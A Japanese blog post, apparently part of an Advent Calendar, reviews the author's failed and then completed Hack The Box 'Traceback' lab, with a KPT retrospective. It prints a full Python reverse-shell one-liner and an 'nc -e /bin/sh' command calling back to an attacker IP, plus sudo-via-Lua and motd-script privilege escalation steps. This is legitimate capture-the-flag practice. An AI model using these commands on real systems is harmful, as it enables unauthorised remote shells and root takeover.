ペネトレーションしのべくん

さようなら、すべてのセキュリティエンジニア

【Hack The Box二十五番勝負 Advent Calendar 2020】2日目 vs Traceback(●)

f:id:befs_anne:20201202015930p:plain

はじめに

これは、Hack The Box二十五番勝負 Advent Calendar 2020 2日目の記事です。

adventar.org

サマリ

  • 対戦相手:Traceback
  • 対戦日時:2020年12月1日 20:30 - 23:00
  • 結果:敗北(Own userまで到達)
  • 主な敗因:
    • luvitを使うときのオペレーションにもたついた
    • ウェブシェルを見つけた直後にリバースシェルに切り替えなかった
    • .ssh/authorized_keysに自身の公開鍵を追加するアイデアが思い浮かばなかった
  • 通算成績:2戦0勝2敗

対戦相手

今回の対戦相手は「Traceback」です。 www.hackthebox.eu

Walkthrough

※以下、解法に関するネタバレです。

自分でやったこと

情報収集

  • nmap
    • HTTPとSSHが開いていることを確認した。
  • ブラウザ
    • ソースのコメントを見て、ウェブシェルが動いているかもしれないと当たりをつけた。
  • dirb
    • aptでseclistsを落として、backdoor_list.txtでブルートフォースした。
      • dpkg -L {{ パッケージ名 }}で、パッケージに含まれるファイルのパスが分かる。
    • smevk.php というファイルを見つけた。
    • admin:adminでログインできた。
  • その他やったこと

脆弱性調査

以下、ウェブシェル(smevk.php)上で実行したことです。

  • ログインユーザーがwebadminであることを確認した。
  • sudo -l で、sysadminとして/home/sysadmin/luvitが実行できることを確認した。
    • この時点では結果を正しく読み取れていなかった(特に「sysadminとして」の部分)。
  • note.txt を確認した。
  • .bash_history を確認した。
    • sudo -u sysadmin /home/sysadmin/luvit privesc.lua の実行履歴を確認した。
    • その後privesc.luaが削除されていることを確認した(.cacheとかからprivesc.luaを探すのかと思ったら違った)。
  • ググってLuaでのOSコマンド実行方法を確認(os.execute())した。
  • echo 'os.execute("ls -la /home/sysadmin") > tmp.luaなどとしてLuaファイルを作り、sudo -u sysadmin /home/sysadmin/luvit tmp.luaを実行した。
    • user.txtがあることを確認した。ここでOwn user。
    • .ssh/authorization_keys内に、Kaliで生成したらしい公開鍵があることを確認した。
  • その他やったこと
    • wgetでローカルマシンにあるlinpeas.shをダウンロードして実行した
      • カラーコードのせいで見づらくて大して読んでない

ここで時間切れです。Writeupは公式のものを見ました。

残りの手順

ラテラルムーブメント(sysadminとしてログイン)

  • sysadminの.ssh/authorized_keysに、ローカルマシンの公開鍵を追加する。
  • ローカルマシンからSSHログインする。

権限昇格

  • ps auxpspyで、/bin/sh -c sleep 30 ; /bin/cp /var/backups/.update-motd.d/* /etc/update-motd.d/が実行されていることを確認する。
  • ls -al /etc/update-motd.d/で、配下のファイルに書き込み権限があることを確認する。
  • 00-headerに以下を追記し、SSHログイン時にリバースシェルが確立されるようにする。
    • python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.14.9",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(["/bin/bash","-i"]);' &
    • 30秒ごとにバックアップファイルで上書きされるため、書き込みからログインは迅速に行う(なぜか書き込み→ログアウト→ログインとしていたが、別のターミナルで、なんならwhile文で更新し続ければよかった)
    • nc -e /bin/sh 10.10.14.9 4444 &も試したが、こっちでは確立しなかった。なんでだろう?
  • ローカルマシンでnc -lvp 4444しておくと、SSHログインした時にrootでのリバースシェルが確立する。
    • 1回のキー入力で2文字入力される謎現象が起きていたので、ペーストした直後にEnter押下で対応した。
  • cat /root/root.txtでOwn root。

KPT(Keep-Problem-Try)

Keep

  • 情報収集の段階で、複数手段を並行で展開できたこと。
  • ウェブシェルがありそうと思った時点で、SecListsにそういうファイルがありそうという発想ができて、enumできたこと。
  • マインドマップっぽくメモをとりながら進めたら結構効率がよかったこと。私にはPCでのメモより相性がよさそう。もちろんスニペットなどは例外。

Problem

  • ウェブシェルでオペレーションし続けるべきではなかった。公式WriteupだとすぐにPythonリバースシェルをしていた。
  • .ssh/authorization_keysは、普段実務でやっているが気がつかなかった。
  • ps auxlinpeas.shpspyの結果を見て、motdが怪しいと気づくには何が必要なのか?
  • nc -e /bin/sh 10.10.10.9 4444でリバースシェルが確立しなかったのはなぜか?
  • 終盤のPythonリバースシェルで、2文字ぶん入力されてしまうのはなぜか?

Try

  • 週末にもう1回チャレンジする。
  • ウェブシェルを見つけたら、即リバースシェルに展開することを考える。
  • 以下のWriteupを読む。ATT&CKってこういう風に対応づけられるんだな。